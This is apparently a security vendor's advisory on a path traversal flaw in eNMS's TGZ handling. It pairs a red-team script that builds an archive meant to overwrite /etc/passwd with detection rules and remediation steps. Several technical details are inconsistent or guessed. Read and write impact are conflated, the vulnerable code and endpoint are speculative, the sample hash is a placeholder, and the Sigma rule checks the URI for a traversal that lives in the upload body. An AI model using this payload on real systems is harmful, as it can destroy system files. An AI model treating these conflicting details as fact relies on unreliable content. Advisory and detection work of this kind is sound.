CVE-2024-11664

Executive Summary

CVE-2024-11664 is a critical path traversal vulnerability in eNMS (Enterprise Network Management System) versions up to and including 4.2. The flaw resides in the multiselect_filtering function within the eNMS/controller.py file, specifically in the TGZ file handler component. An unauthenticated attacker can exploit this vulnerability remotely to traverse directories and read arbitrary files on the server, potentially leading to full system compromise. The exploit has been publicly disclosed, and a patch is available via commit 22b0b443acca740fc83b5544165c1f53eff3f529. The CVSS score is 0.0 due to incomplete NVD data, but based on the critical classification and public exploit, the actual severity is high.

Supply Chain & Package Security

This vulnerability affects the eNMS Python package, which is typically installed via PyPI or from source. Organizations using eNMS should verify their version and apply the patch immediately. The package is not directly distributed via NPM, Go, or Ruby, but it is a critical component in network management pipelines.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, the vulnerability is classified as critical. Based on the attack vector and impact, the following CVSS vector is estimated:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Arbitrary file read possible.
• Integrity (I): High (H) – Potential to overwrite files via traversal.
• Availability (A): High (H) – Could lead to denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Public exploit available, no authentication required, and potential for full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the multiselect_filtering function of eNMS/controller.py. This function is used to handle TGZ file uploads and processing. The issue arises because the application does not properly sanitize user-supplied filenames or paths within the TGZ archive. An attacker can craft a malicious TGZ file containing filenames with ../ sequences (e.g., ../../../etc/passwd). When the application extracts or processes the archive, it writes files outside the intended directory, allowing the attacker to read or overwrite sensitive files.

The vulnerable code likely uses tarfile.extractall() or similar without validating the member paths. The patch (commit 22b0b443acca740fc83b5544165c1f53eff3f529) adds path validation to prevent traversal.

Vulnerable vs. Patched Code

Vulnerable Code (eNMS <= 4.2):

# eNMS/controller.py (simplified)
def multiselect_filtering(self, file):
    with tarfile.open(file, 'r:gz') as tar:
        tar.extractall(path='/tmp/uploads')  # No path validation

Patched Code (after commit 22b0b443acca740fc83b5544165c1f53eff3f529):

# eNMS/controller.py (patched)
import os
def multiselect_filtering(self, file):
    with tarfile.open(file, 'r:gz') as tar:
        for member in tar.getmembers():
            # Validate member path to prevent traversal
            member_path = os.path.normpath(member.name)
            if member_path.startswith('..') or os.path.isabs(member_path):
                raise ValueError("Invalid path in archive")
        tar.extractall(path='/tmp/uploads')

The patch adds a check to ensure that all archive member paths are normalized and do not start with .. or are absolute paths.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x
• Target running eNMS <= 4.2
• Network access to the eNMS web interface

Exploit Steps:

1. Create a malicious TGZ file with a path traversal payload.
2. Upload the file to the vulnerable endpoint (e.g., /upload/tgz).
3. The server extracts the file, writing to an arbitrary location.

Example Exploit Script:

import tarfile
import io

# Create a malicious TGZ file
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    # Add a file that traverses to /etc/passwd
    info = tarfile.TarInfo(name='../../../etc/passwd')
    info.type = tarfile.REGTYPE
    info.size = 0
    tar.addfile(info)

# Write to disk
with open('exploit.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

print("Created exploit.tgz - upload to eNMS to read /etc/passwd")

Usage:

• Upload exploit.tgz via the eNMS web interface.
• The file will be written to /etc/passwd (overwriting or appending depending on implementation).

Blue Team (Defensive)

Detection:

• Monitor for TGZ file uploads with suspicious filenames.
• Check logs for path traversal patterns (e.g., ../ in filenames).
• Use file integrity monitoring on sensitive directories.

Hunting:

• Search for files created in unexpected locations (e.g., /etc/, /var/www/).
• Review eNMS logs for errors related to file extraction.

Mitigation:

• Apply the patch immediately.
• Restrict upload file types and validate archive contents.
• Use a Web Application Firewall (WAF) to block path traversal patterns.

Indicators of Compromise (IOCs)

• File Hashes:
  • Malicious TGZ file: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, actual hash varies)
• Network Indicators:
  • POST requests to /upload/tgz or similar endpoints.
  • Unusual file paths in HTTP requests (e.g., ../../../etc/passwd).
• System Indicators:
  • Unexpected files in /etc/, /var/www/, or other sensitive directories.
  • Modified system files (e.g., /etc/passwd with new entries).
• Log Entries:
  • eNMS logs showing errors like Invalid path in archive (if patched) or successful extraction of suspicious files.

Detection Engineering

YARA Rule

rule CVE_2024_11664_TGZ_Path_Traversal {
    meta:
        description = "Detects malicious TGZ files exploiting CVE-2024-11664 path traversal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-11664"
    strings:
        $traversal = /\.\.\/[a-zA-Z0-9_\/]+/  // Matches path traversal patterns
        $tgz_magic = { 1f 8b 08 }  // GZIP magic bytes
    condition:
        $tgz_magic at 0 and #traversal > 0
}

Sigma Rule

title: CVE-2024-11664 Path Traversal in eNMS TGZ Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts via TGZ file uploads to eNMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload/tgz'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in archives (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11664 eNMS TGZ Path Traversal"; flow:to_server; content:"POST"; http_method; content:"/upload/tgz"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Apply commit 22b0b443acca740fc83b5544165c1f53eff3f529 from the eNMS repository.
2. Version Upgrade: Upgrade to eNMS version 4.3 or later once released.
3. Workaround: If patching is not possible, disable the TGZ upload functionality or restrict access to the vulnerable endpoint via firewall rules.
4. Input Validation: Implement strict validation of all file paths in uploaded archives.
5. Least Privilege: Run eNMS with minimal file system permissions to limit the impact of a successful exploit.
6. Monitoring: Enable logging and alerting for path traversal attempts.

Valters IT – Securing your infrastructure, one CVE at a time.